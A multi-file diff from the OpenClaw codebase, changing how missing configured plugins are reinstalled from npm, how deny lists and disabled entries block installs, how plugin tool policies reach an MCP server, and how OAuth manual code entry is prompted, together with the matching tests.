spec: openClawReleaseSpec("@openclaw/diagnostics-otel"),
expectedPluginId: "diagnostics-otel",
}),
);
expect(result.changes).toEqual([
'Installed missing configured plugin "diagnostics-otel" from @openclaw/diagnostics-otel.',
`Installed missing configured plugin "diagnostics-otel" from ${openClawReleaseSpec("@openclaw/diagnostics-otel")}.`,
]);
});
@@ -442,13 +447,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/acpx",
spec: openClawReleaseSpec("@openclaw/acpx"),
expectedPluginId: "acpx",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.changes).toEqual([
'Installed missing configured plugin "acpx" from @openclaw/acpx.',
`Installed missing configured plugin "acpx" from ${openClawReleaseSpec("@openclaw/acpx")}.`,
]);
});
@@ -514,6 +519,40 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(result).toEqual({ changes: [], warnings: [] });
});
it("does not install channel plugins when the matching plugin entry is disabled", async () => {
mocks.listChannelPluginCatalogEntries.mockReturnValue([
{
id: "matrix",
pluginId: "matrix",
meta: { label: "Matrix" },
install: {
npmSpec: "@openclaw/plugin-matrix@1.2.3",
},
},
]);
const { repairMissingConfiguredPluginInstalls } =
await import("./missing-configured-plugin-install.js");
const result = await repairMissingConfiguredPluginInstalls({
cfg: {
plugins: {
entries: {
matrix: { enabled: false },
},
},
channels: {
matrix: { homeserver: "https://matrix.example.org" },
},
},
env: {},
});
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
expect(result).toEqual({ changes: [], warnings: [] });
});
it("does not download configured channel plugins that are still bundled", async () => {
mocks.listChannelPluginCatalogEntries.mockReturnValue([
{
@@ -905,6 +944,23 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(result).toEqual({ changes: [], warnings: [] });
});
it("does not install plugins merely listed in plugins.allow", async () => {
const { repairMissingConfiguredPluginInstalls } =
await import("./missing-configured-plugin-install.js");
const result = await repairMissingConfiguredPluginInstalls({
cfg: {
plugins: {
allow: ["codex"],
},
},
env: {},
});
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
expect(result).toEqual({ changes: [], warnings: [] });
});
it("installs a missing third-party downloadable plugin from npm only", async () => {
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
ok: true,
@@ -999,7 +1055,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.resolveProviderInstallCatalogEntries).toHaveBeenCalled();
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/codex",
spec: openClawReleaseSpec("@openclaw/codex"),
expectedPluginId: "codex",
trustedSourceLinkedOfficialInstall: true,
}),
@@ -1008,7 +1064,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect.objectContaining({
codex: expect.objectContaining({
source: "npm",
spec: "@openclaw/codex",
spec: openClawReleaseSpec("@openclaw/codex"),
installPath: "/tmp/openclaw-plugins/codex",
version: "2026.5.2",
}),
@@ -1016,7 +1072,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
{ env: {} },
);
expect(result.changes).toEqual([
'Installed missing configured plugin "codex" from @openclaw/codex.',
`Installed missing configured plugin "codex" from ${openClawReleaseSpec("@openclaw/codex")}.`,
]);
expect(result.warnings).toEqual([]);
});
@@ -1077,7 +1133,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/codex",
spec: openClawReleaseSpec("@openclaw/codex"),
expectedPluginId: "codex",
trustedSourceLinkedOfficialInstall: true,
}),
@@ -1086,7 +1142,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect.objectContaining({
codex: expect.objectContaining({
source: "npm",
spec: "@openclaw/codex",
spec: openClawReleaseSpec("@openclaw/codex"),
installPath: "/tmp/openclaw-plugins/codex",
version: "2026.5.2",
}),
@@ -1094,7 +1150,9 @@ describe("repairMissingConfiguredPluginInstalls", () => {
{ env },
);
expect(result).toEqual({
changes: ['Installed missing configured plugin "codex" from @openclaw/codex.'],
changes: [
`Installed missing configured plugin "codex" from ${openClawReleaseSpec("@openclaw/codex")}.`,
],
warnings: [],
});
});
@@ -1126,6 +1184,218 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(result).toEqual({ changes: [], warnings: [] });
});
it("does not install a channel catalog plugin when a configured plugin already owns that channel", async () => {
mocks.loadPluginMetadataSnapshot.mockReturnValue({
plugins: [
{
id: "openclaw-lark",
origin: "config",
channels: ["feishu"],
channelConfigs: {
feishu: {
schema: {
type: "object",
},
},
},
},
],
diagnostics: [],
});
mocks.listChannelPluginCatalogEntries.mockReturnValue([
{
id: "feishu",
pluginId: "feishu",
meta: { label: "Feishu" },
install: {
npmSpec: "@openclaw/feishu",
},
trustedSourceLinkedOfficialInstall: true,
},
]);
const { repairMissingConfiguredPluginInstalls } =
await import("./missing-configured-plugin-install.js");
const result = await repairMissingConfiguredPluginInstalls({
cfg: {
plugins: {
entries: {
"openclaw-lark": {
enabled: true,
},
},
},
channels: {
feishu: {
footer: {
model: false,
},
},
},
},
env: {},
});
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled();
expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled();
expect(result).toEqual({ changes: [], warnings: [] });
});
it("still installs a channel catalog plugin when the configured owner is blocked by the allowlist", async () => {
mocks.loadPluginMetadataSnapshot.mockReturnValue({
plugins: [
{
id: "openclaw-lark",
origin: "config",
channels: ["feishu"],
channelConfigs: {
feishu: {
schema: {
type: "object",
},
},
},
},
],
diagnostics: [],
});
mocks.listChannelPluginCatalogEntries.mockReturnValue([
{
id: "feishu",
pluginId: "feishu",
meta: { label: "Feishu" },
install: {
npmSpec: "@openclaw/feishu",
},
trustedSourceLinkedOfficialInstall: true,
},
]);
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
ok: true,
pluginId: "feishu",
targetDir: "/tmp/openclaw-plugins/feishu",
version: "2026.5.2",
npmResolution: {
name: "@openclaw/feishu",
version: "2026.5.2",
resolvedSpec: "@openclaw/feishu@2026.5.2",
},
});
const { repairMissingConfiguredPluginInstalls } =
await import("./missing-configured-plugin-install.js");
const result = await repairMissingConfiguredPluginInstalls({
cfg: {
plugins: {
allow: ["some-other-plugin"],
entries: {
"openclaw-lark": {
enabled: true,
},
},
},
channels: {
feishu: {
footer: {
model: false,
},
},
},
},
env: {},
});
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: openClawReleaseSpec("@openclaw/feishu"),
expectedPluginId: "feishu",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.changes).toEqual([
`Installed missing configured plugin "feishu" from ${openClawReleaseSpec("@openclaw/feishu")}.`,
]);
});
it("still installs a channel catalog plugin when that plugin is explicitly configured", async () => {
mocks.loadPluginMetadataSnapshot.mockReturnValue({
plugins: [
{
id: "openclaw-lark",
origin: "config",
channels: ["feishu"],
channelConfigs: {
feishu: {
schema: {
type: "object",
},
},
},
},
],
diagnostics: [],
});
mocks.listChannelPluginCatalogEntries.mockReturnValue([
{
id: "feishu",
pluginId: "feishu",
meta: { label: "Feishu" },
install: {
npmSpec: "@openclaw/feishu",
},
trustedSourceLinkedOfficialInstall: true,
},
]);
mocks.installPluginFromNpmSpec.mockResolvedValueOnce({
ok: true,
pluginId: "feishu",
targetDir: "/tmp/openclaw-plugins/feishu",
version: "2026.5.2",
npmResolution: {
name: "@openclaw/feishu",
version: "2026.5.2",
resolvedSpec: "@openclaw/feishu@2026.5.2",
},
});
const { repairMissingConfiguredPluginInstalls } =
await import("./missing-configured-plugin-install.js");
const result = await repairMissingConfiguredPluginInstalls({
cfg: {
plugins: {
entries: {
feishu: {
enabled: true,
},
"openclaw-lark": {
enabled: true,
},
},
},
channels: {
feishu: {
footer: {
model: false,
},
},
},
},
env: {},
});
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: openClawReleaseSpec("@openclaw/feishu"),
expectedPluginId: "feishu",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.changes).toEqual([
`Installed missing configured plugin "feishu" from ${openClawReleaseSpec("@openclaw/feishu")}.`,
]);
});
it("reinstalls a missing configured plugin from its persisted install record", async () => {
const records = {
demo: {
@@ -1271,7 +1541,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
);
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/discord",
spec: openClawReleaseSpec("@openclaw/discord"),
expectedPluginId: "discord",
trustedSourceLinkedOfficialInstall: true,
}),
@@ -1283,7 +1553,7 @@ describe("repairMissingConfiguredPluginInstalls", () => {
{ env: {} },
);
expect(result.changes).toEqual([
'Installed missing configured plugin "discord" from @openclaw/discord.',
`Installed missing configured plugin "discord" from ${openClawReleaseSpec("@openclaw/discord")}.`,
]);
});
@@ -1616,13 +1886,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/brave-plugin",
spec: openClawReleaseSpec("@openclaw/brave-plugin"),
expectedPluginId: "brave",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.changes).toEqual([
'Installed missing configured plugin "brave" from @openclaw/brave-plugin.',
`Installed missing configured plugin "brave" from ${openClawReleaseSpec("@openclaw/brave-plugin")}.`,
]);
});

View File

@@ -8,7 +8,12 @@ import { listChannelPluginCatalogEntries } from "../../../channels/plugins/catal
import type { OpenClawConfig } from "../../../config/types.openclaw.js";
import type { PluginInstallRecord } from "../../../config/types.plugins.js";
import { parseClawHubPluginSpec } from "../../../infra/clawhub-spec.js";
import { parseRegistryNpmSpec } from "../../../infra/npm-registry-spec.js";
import {
isExactSemverVersion,
isPrereleaseSemverVersion,
parseRegistryNpmSpec,
} from "../../../infra/npm-registry-spec.js";
import { resolveConfiguredChannelPresencePolicy } from "../../../plugins/channel-plugin-ids.js";
import { buildClawHubPluginInstallRecordFields } from "../../../plugins/clawhub-install-records.js";
import { CLAWHUB_INSTALL_ERROR_CODE, installPluginFromClawHub } from "../../../plugins/clawhub.js";
import { resolveDefaultPluginExtensionsDir } from "../../../plugins/install-paths.js";
@@ -29,7 +34,9 @@ import type { PluginMetadataSnapshot } from "../../../plugins/plugin-metadata-sn
import { resolveProviderInstallCatalogEntries } from "../../../plugins/provider-install-catalog.js";
import { updateNpmInstalledPlugins } from "../../../plugins/update.js";
import { resolveWebSearchInstallCatalogEntry } from "../../../plugins/web-search-install-catalog.js";
import { normalizeOptionalLowercaseString } from "../../../shared/string-coerce.js";
import { resolveUserPath } from "../../../utils.js";
import { VERSION } from "../../../version.js";
import { asObjectRecord } from "./object.js";
type DownloadableInstallCandidate = {
@@ -107,10 +114,6 @@ function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv
if (plugins?.enabled === false) {
return ids;
}
const allow = Array.isArray(plugins?.allow) ? plugins.allow : [];
for (const value of allow) {
addConfiguredPluginId(ids, value);
}
const entries = asObjectRecord(plugins?.entries);
for (const [pluginId, entry] of Object.entries(entries ?? {})) {
if (asObjectRecord(entry)?.enabled === false) {
@@ -139,6 +142,25 @@ function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv
return ids;
}
function collectBlockedPluginIds(cfg: OpenClawConfig): Set<string> {
const ids = new Set<string>();
const deny = cfg.plugins?.deny;
if (Array.isArray(deny)) {
for (const pluginId of deny) {
if (typeof pluginId === "string" && pluginId.trim()) {
ids.add(pluginId.trim());
}
}
}
const entries = asObjectRecord(cfg.plugins?.entries);
for (const [pluginId, entry] of Object.entries(entries ?? {})) {
if (pluginId.trim() && asObjectRecord(entry)?.enabled === false) {
ids.add(pluginId.trim());
}
}
return ids;
}
function collectConfiguredChannelIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv): Set<string> {
const ids = new Set<string>();
if (asObjectRecord(cfg.plugins)?.enabled === false) {
@@ -161,12 +183,45 @@ function collectConfiguredChannelIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEn
return ids;
}
function collectEffectiveConfiguredChannelOwnerPluginIds(params: {
cfg: OpenClawConfig;
env: NodeJS.ProcessEnv;
snapshot: PluginMetadataSnapshot;
configuredChannelIds: ReadonlySet<string>;
}): Map<string, Set<string>> {
const owners = new Map<string, Set<string>>();
const configuredChannelIds = new Set(
[...params.configuredChannelIds]
.map((channelId) => normalizeOptionalLowercaseString(channelId))
.filter((channelId): channelId is string => Boolean(channelId)),
);
if (configuredChannelIds.size === 0) {
return owners;
}
for (const entry of resolveConfiguredChannelPresencePolicy({
config: params.cfg,
env: params.env,
includePersistedAuthState: false,
manifestRecords: params.snapshot.plugins,
})) {
if (!entry.effective || !configuredChannelIds.has(entry.channelId)) {
continue;
}
const pluginIds = new Set(entry.pluginIds);
if (pluginIds.size > 0) {
owners.set(entry.channelId, pluginIds);
}
}
return owners;
}
function collectDownloadableInstallCandidates(params: {
cfg: OpenClawConfig;
env?: NodeJS.ProcessEnv;
missingPluginIds: ReadonlySet<string>;
configuredPluginIds?: ReadonlySet<string>;
configuredChannelIds?: ReadonlySet<string>;
configuredChannelOwnerPluginIds?: ReadonlyMap<string, ReadonlySet<string>>;
blockedPluginIds?: ReadonlySet<string>;
}): DownloadableInstallCandidate[] {
const configuredPluginIds =
@@ -183,9 +238,25 @@ function collectDownloadableInstallCandidates(params: {
continue;
}
const pluginId = entry.pluginId ?? entry.id;
const channelId = normalizeOptionalLowercaseString(entry.id);
if (params.blockedPluginIds?.has(pluginId)) {
continue;
}
const selectedOnlyByChannel =
!params.missingPluginIds.has(pluginId) &&
!configuredPluginIds.has(pluginId) &&
(channelId ? configuredChannelIds.has(channelId) : configuredChannelIds.has(entry.id));
const configuredChannelOwnerPluginIds = channelId
? params.configuredChannelOwnerPluginIds?.get(channelId)
: undefined;
if (
selectedOnlyByChannel &&
configuredChannelOwnerPluginIds &&
configuredChannelOwnerPluginIds.size > 0 &&
!configuredChannelOwnerPluginIds.has(pluginId)
) {
continue;
}
if (
!params.missingPluginIds.has(pluginId) &&
!configuredPluginIds.has(pluginId) &&
@@ -292,6 +363,7 @@ function collectUpdateDeferredPluginIds(params: {
env: NodeJS.ProcessEnv;
configuredPluginIds: ReadonlySet<string>;
configuredChannelIds: ReadonlySet<string>;
configuredChannelOwnerPluginIds?: ReadonlyMap<string, ReadonlySet<string>>;
blockedPluginIds?: ReadonlySet<string>;
}): Set<string> {
const pluginIds = new Set(params.configuredPluginIds);
@@ -301,6 +373,7 @@ function collectUpdateDeferredPluginIds(params: {
missingPluginIds: new Set(),
configuredPluginIds: params.configuredPluginIds,
configuredChannelIds: params.configuredChannelIds,
configuredChannelOwnerPluginIds: params.configuredChannelOwnerPluginIds,
blockedPluginIds: params.blockedPluginIds,
})) {
pluginIds.add(candidate.pluginId);
@@ -381,6 +454,36 @@ function recordClawHubPackageName(value: string | undefined): string | undefined
return parseClawHubPluginSpec(trimmed)?.name ?? trimmed;
}
function resolveVersionAlignedOfficialNpmSpec(
candidate: DownloadableInstallCandidate,
): string | undefined {
const npmSpec = candidate.npmSpec?.trim();
if (!npmSpec || !candidate.trustedSourceLinkedOfficialInstall) {
return npmSpec;
}
const parsed = parseRegistryNpmSpec(npmSpec);
if (!parsed || !parsed.name.startsWith("@openclaw/")) {
return npmSpec;
}
if (parsed.selectorKind === "exact-version") {
return npmSpec;
}
const hostVersion = VERSION.trim();
if (!isExactSemverVersion(hostVersion)) {
return npmSpec;
}
if (isPrereleaseSemverVersion(hostVersion)) {
const prerelease = /^[0-9]+\.[0-9]+\.[0-9]+-([0-9A-Za-z._-]+)(?:\+.*)?$/u.exec(
hostVersion,
)?.[1];
const prereleaseTag = prerelease?.split(/[.-]/u)[0];
return prereleaseTag && /^[A-Za-z][A-Za-z0-9._-]*$/u.test(prereleaseTag)
? `${parsed.name}@${prereleaseTag}`
: npmSpec;
}
return `${parsed.name}@${hostVersion}`;
}
async function installCandidate(params: {
candidate: DownloadableInstallCandidate;
records: Record<string, PluginInstallRecord>;
@@ -430,7 +533,8 @@ async function installCandidate(params: {
`ClawHub ${candidate.clawhubSpec} unavailable for "${candidate.pluginId}"; falling back to npm ${candidate.npmSpec}.`,
);
}
if (!candidate.npmSpec) {
const npmSpec = resolveVersionAlignedOfficialNpmSpec(candidate);
if (!npmSpec) {
return {
records: params.records,
changes: [],
@@ -440,7 +544,7 @@ async function installCandidate(params: {
};
}
const result = await installPluginFromNpmSpec({
spec: candidate.npmSpec,
spec: npmSpec,
extensionsDir,
expectedPluginId: candidate.pluginId,
expectedIntegrity: candidate.expectedIntegrity,
@@ -464,17 +568,14 @@ async function installCandidate(params: {
...params.records,
[pluginId]: {
source: "npm",
spec: candidate.npmSpec,
spec: npmSpec,
installPath: result.targetDir,
version: result.version,
installedAt: new Date().toISOString(),
...buildNpmResolutionInstallFields(result.npmResolution),
},
},
changes: [
...changes,
`Installed missing configured plugin "${pluginId}" from ${candidate.npmSpec}.`,
],
changes: [...changes, `Installed missing configured plugin "${pluginId}" from ${npmSpec}.`],
warnings: [],
};
}
@@ -488,6 +589,7 @@ export async function repairMissingConfiguredPluginInstalls(params: {
env: params.env,
pluginIds: collectConfiguredPluginIds(params.cfg, params.env),
channelIds: collectConfiguredChannelIds(params.cfg, params.env),
blockedPluginIds: collectBlockedPluginIds(params.cfg),
});
}
@@ -530,6 +632,12 @@ async function repairMissingPluginInstalls(params: {
env,
});
const knownIds = new Set(snapshot.plugins.map((plugin) => plugin.id));
const configuredChannelOwnerPluginIds = collectEffectiveConfiguredChannelOwnerPluginIds({
cfg: params.cfg,
env,
snapshot,
configuredChannelIds: params.channelIds,
});
const bundledPluginsById = new Map(
snapshot.plugins
.filter((plugin) => plugin.origin === "bundled")
@@ -569,6 +677,7 @@ async function repairMissingPluginInstalls(params: {
env,
configuredPluginIds: params.pluginIds,
configuredChannelIds: params.channelIds,
configuredChannelOwnerPluginIds,
blockedPluginIds: params.blockedPluginIds,
});
for (const pluginId of updateDeferredPluginIds) {
@@ -642,6 +751,7 @@ async function repairMissingPluginInstalls(params: {
missingPluginIds,
configuredPluginIds: params.pluginIds,
configuredChannelIds: params.channelIds,
configuredChannelOwnerPluginIds,
blockedPluginIds:
deferredPluginIds.size > 0
? new Set([...(params.blockedPluginIds ?? []), ...deferredPluginIds])
@@ -672,4 +782,5 @@ export const __testing = {
collectConfiguredChannelIds,
collectConfiguredPluginIds,
collectDownloadableInstallCandidates,
resolveVersionAlignedOfficialNpmSpec,
};

View File

@@ -53,6 +53,8 @@ export function normalizeLegacyStreamingAliases(
} & LegacyStreamingAliasOptions,
): CompatMutationResult {
const beforeStreaming = params.entry.streaming;
const beforeStreamingRecord = asObjectRecord(beforeStreaming);
const legacyProgress = asObjectRecord(beforeStreamingRecord?.progress);
const hadLegacyStreamMode = params.entry.streamMode !== undefined;
const hasLegacyFlatFields =
params.entry.chunkMode !== undefined ||
@@ -64,6 +66,7 @@ export function normalizeLegacyStreamingAliases(
hadLegacyStreamMode ||
typeof beforeStreaming === "boolean" ||
typeof beforeStreaming === "string" ||
legacyProgress !== null ||
hasLegacyFlatFields;
if (!shouldNormalize) {
return { entry: params.entry, changed: false };
@@ -129,6 +132,17 @@ export function normalizeLegacyStreamingAliases(
);
changed = true;
}
if (legacyProgress) {
if (preview.toolProgress === undefined && typeof legacyProgress.toolProgress === "boolean") {
preview.toolProgress = legacyProgress.toolProgress;
params.changes.push(
`Moved ${params.pathPrefix}.streaming.progress.toolProgress → ${params.pathPrefix}.streaming.preview.toolProgress.`,
);
}
delete streaming.progress;
params.changes.push(`Removed ${params.pathPrefix}.streaming.progress legacy object.`);
changed = true;
}
if (updated.blockStreamingCoalesce !== undefined && block.coalesce === undefined) {
block.coalesce = updated.blockStreamingCoalesce;
delete updated.blockStreamingCoalesce;
@@ -281,6 +295,7 @@ export function hasLegacyStreamingAliases(
entry.streamMode !== undefined ||
typeof entry.streaming === "boolean" ||
typeof entry.streaming === "string" ||
asObjectRecord(entry.streaming)?.progress !== undefined ||
entry.chunkMode !== undefined ||
entry.blockStreaming !== undefined ||
entry.blockStreamingCoalesce !== undefined ||

View File

@@ -15,6 +15,7 @@ import {
} from "../agents/tool-policy-pipeline.js";
import {
collectExplicitAllowlist,
collectExplicitDenylist,
mergeAlsoAllowPolicy,
resolveToolProfilePolicy,
} from "../agents/tool-policy.js";
@@ -108,6 +109,16 @@ export function resolveGatewayScopedTools(params: {
subagentPolicy,
gatewayRequestedTools.length > 0 ? { allow: gatewayRequestedTools } : undefined,
]),
pluginToolDenylist: collectExplicitDenylist([
profilePolicy,
providerProfilePolicy,
globalPolicy,
globalProviderPolicy,
agentPolicy,
agentProviderPolicy,
groupPolicy,
subagentPolicy,
]),
});
const policyFiltered = applyToolPolicyPipeline({

View File

@@ -101,6 +101,15 @@ describe("tsdown config", () => {
);
});
it("does not compile root-package-excluded externalized plugins into root dist entries", () => {
const distGraph = unifiedDistGraph();
const keys = entryKeys(distGraph as TsdownConfigEntry);
expect(keys).toContain(bundledEntry("active-memory"));
expect(keys).not.toContain(bundledEntry("feishu"));
expect(keys).not.toContain(bundledEntry("discord"));
});
it("keeps gateway lifecycle lazy runtime behind one stable dist entry", () => {
const distGraph = unifiedDistGraph();

View File

@@ -87,6 +87,32 @@ describe("plugin tools MCP server", () => {
expect(connectToolsMcpServerToStdioMock).toHaveBeenCalledOnce();
});
it("threads global plugin tool policy into plugin resolution", async () => {
getRuntimeConfigMock.mockReturnValueOnce({
plugins: { enabled: true },
tools: {
alsoAllow: ["memory_search"],
deny: ["memory_forget"],
},
} as never);
const { servePluginToolsMcp } = await import("./plugin-tools-serve.js");
await servePluginToolsMcp();
expect(ensureStandalonePluginToolRegistryLoadedMock).toHaveBeenCalledWith(
expect.objectContaining({
toolAllowlist: expect.arrayContaining(["memory_search"]),
toolDenylist: ["memory_forget"],
}),
);
expect(resolvePluginToolsMock).toHaveBeenCalledWith(
expect.objectContaining({
toolAllowlist: expect.arrayContaining(["memory_search"]),
toolDenylist: ["memory_forget"],
}),
);
});
it("lists registered plugin tools and serializes non-array tool content", async () => {
const execute = vi.fn().mockResolvedValue({
content: "Stored.",

View File

@@ -8,6 +8,13 @@
*/
import { pathToFileURL } from "node:url";
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { pickSandboxToolPolicy } from "../agents/sandbox-tool-policy.js";
import {
collectExplicitAllowlist,
collectExplicitDenylist,
mergeAlsoAllowPolicy,
resolveToolProfilePolicy,
} from "../agents/tool-policy.js";
import type { AnyAgentTool } from "../agents/tools/common.js";
import { getRuntimeConfig } from "../config/config.js";
import type { OpenClawConfig } from "../config/types.openclaw.js";
@@ -16,12 +23,32 @@ import { routeLogsToStderr } from "../logging/console.js";
import { ensureStandalonePluginToolRegistryLoaded, resolvePluginTools } from "../plugins/tools.js";
import { connectToolsMcpServerToStdio, createToolsMcpServer } from "./tools-stdio-server.js";
function resolvePluginToolPolicy(config: OpenClawConfig): {
toolAllowlist?: string[];
toolDenylist?: string[];
} {
const profilePolicy = mergeAlsoAllowPolicy(
resolveToolProfilePolicy(config.tools?.profile),
config.tools?.alsoAllow,
);
const globalPolicy = pickSandboxToolPolicy(config.tools);
const toolAllowlist = collectExplicitAllowlist([profilePolicy, globalPolicy]);
const toolDenylist = collectExplicitDenylist([profilePolicy, globalPolicy]);
return {
...(toolAllowlist.length > 0 ? { toolAllowlist } : {}),
...(toolDenylist.length > 0 ? { toolDenylist } : {}),
};
}
function resolveTools(config: OpenClawConfig): AnyAgentTool[] {
const pluginToolPolicy = resolvePluginToolPolicy(config);
ensureStandalonePluginToolRegistryLoaded({
context: { config },
...pluginToolPolicy,
});
return resolvePluginTools({
context: { config },
...pluginToolPolicy,
suppressNameConflicts: true,
});
}

View File

@@ -333,7 +333,7 @@ async function expectRejectedPackageExtensionEntry(params: {
if (params.expectedDiagnostic === "runtime") {
expect(
result.diagnostics.some(
(entry) => entry.level === "error" && entry.message.includes("compiled runtime output"),
(entry) => entry.level === "warn" && entry.message.includes("compiled runtime output"),
),
).toBe(true);
return;
@@ -748,7 +748,7 @@ describe("discoverOpenClawPlugins", () => {
expectCandidateIds(candidates, { includes: ["pack/one", "pack/two"] });
});
it("rejects source-only TypeScript entries for installed package plugins", async () => {
it("warns but still loads source-only TypeScript entries for installed package plugins", async () => {
const stateDir = makeTempDir();
const pluginDir = path.join(stateDir, "extensions", "source-only-pack");
mkdirSafe(path.join(pluginDir, "src"));
@@ -762,11 +762,11 @@ describe("discoverOpenClawPlugins", () => {
const result = await discoverWithStateDir(stateDir, {});
expectCandidatePresence(result, { absent: ["source-only-pack"] });
expectCandidateIds(result.candidates, { includes: ["source-only-pack"] });
expect(
result.diagnostics.some(
(entry) =>
entry.level === "error" &&
entry.level === "warn" &&
entry.message.includes("requires compiled runtime output") &&
entry.message.includes("./dist/index.js"),
),

View File

@@ -495,7 +495,7 @@ function resolvePackageRuntimeEntrySource(params: {
isTypeScriptPackageEntry(safeEntry.relativePath)
) {
params.diagnostics.push({
level: "error",
level: "warn",
message: missingCompiledRuntimeEntryMessage({
label: "installed plugin package",
entry: safeEntry.relativePath,
@@ -503,7 +503,6 @@ function resolvePackageRuntimeEntrySource(params: {
}),
source: params.sourceLabel,
});
return null;
}
}

View File

@@ -34,12 +34,13 @@ type CodexLoginOptions = {
function createPrompter() {
const spin = { update: vi.fn(), stop: vi.fn() };
const text = vi.fn(async () => "http://localhost:1455/auth/callback?code=test");
const prompter: Pick<WizardPrompter, "note" | "progress" | "text"> = {
note: vi.fn(async () => {}),
progress: vi.fn(() => spin),
text: vi.fn(async () => "http://localhost:1455/auth/callback?code=test"),
text,
};
return { prompter: prompter as unknown as WizardPrompter, spin };
return { prompter: prompter as unknown as WizardPrompter, spin, text };
}
function createRuntime(): RuntimeEnv {
@@ -222,7 +223,7 @@ describe("loginOpenAICodexOAuth", () => {
it("waits briefly before prompting for manual input after the local browser flow starts", async () => {
vi.useFakeTimers();
const { prompter } = createPrompter();
const { prompter, spin, text } = createPrompter();
const runtime = createRuntime();
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
await startCodexAuth(opts);
@@ -252,6 +253,54 @@ describe("loginOpenAICodexOAuth", () => {
message: "Paste the authorization code (or full redirect URL):",
validate: expect.any(Function),
});
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
expect(spin.stop.mock.invocationCallOrder[0]).toBeLessThan(
text.mock.invocationCallOrder[0] ?? 0,
);
expect(runtime.log).toHaveBeenCalledWith(
"OpenAI Codex OAuth callback did not arrive within 15000ms; switching to manual entry (callback_timeout).",
);
vi.useRealTimers();
});
it("reuses one local manual prompt when the oauth helper repeats fallback calls", async () => {
vi.useFakeTimers();
const { prompter, spin, text } = createPrompter();
const runtime = createRuntime();
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
await startCodexAuth(opts);
const firstManualPromise = opts.onManualCodeInput?.();
const secondManualPromise = opts.onManualCodeInput?.();
await vi.advanceTimersByTimeAsync(16_000);
const [firstManualCode, secondManualCode] = await Promise.all([
firstManualPromise,
secondManualPromise,
]);
expect(secondManualCode).toBe(firstManualCode);
return createCodexCredentials({ manualCode: firstManualCode });
});
await expect(
loginOpenAICodexOAuth({
prompter,
runtime,
isRemote: false,
openUrl: async () => {},
}),
).resolves.toMatchObject({
access: "access-token",
refresh: "refresh-token",
});
expect(text).toHaveBeenCalledOnce();
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
expect(
spin.update.mock.calls.filter(
([message]) =>
message === "Browser callback did not finish. Paste the redirect URL to continue…",
),
).toHaveLength(1);
expect(runtime.log).toHaveBeenCalledTimes(2);
expect(runtime.log).toHaveBeenCalledWith(
"OpenAI Codex OAuth callback did not arrive within 15000ms; switching to manual entry (callback_timeout).",
);
@@ -326,7 +375,7 @@ describe("loginOpenAICodexOAuth", () => {
it("prompts for manual input immediately when the local callback flow never starts", async () => {
vi.useFakeTimers();
const { prompter } = createPrompter();
const { prompter, spin, text } = createPrompter();
const runtime = createRuntime();
mocks.loginOpenAICodex.mockImplementation(
async (opts: { onManualCodeInput?: () => Promise<string> }) => {
@@ -352,6 +401,49 @@ describe("loginOpenAICodexOAuth", () => {
message: "Paste the authorization code (or full redirect URL):",
validate: expect.any(Function),
});
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
expect(spin.stop.mock.invocationCallOrder[0]).toBeLessThan(
text.mock.invocationCallOrder[0] ?? 0,
);
expect(vi.getTimerCount()).toBe(0);
vi.useRealTimers();
});
it("reuses one immediate manual prompt when the local callback flow never starts", async () => {
vi.useFakeTimers();
const { prompter, spin, text } = createPrompter();
const runtime = createRuntime();
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
expect(opts.onManualCodeInput).toBeTypeOf("function");
const [firstManualCode, secondManualCode] = await Promise.all([
opts.onManualCodeInput?.(),
opts.onManualCodeInput?.(),
]);
expect(secondManualCode).toBe(firstManualCode);
return createCodexCredentials({ manualCode: firstManualCode });
});
await expect(
loginOpenAICodexOAuth({
prompter,
runtime,
isRemote: false,
openUrl: async () => {},
}),
).resolves.toMatchObject({
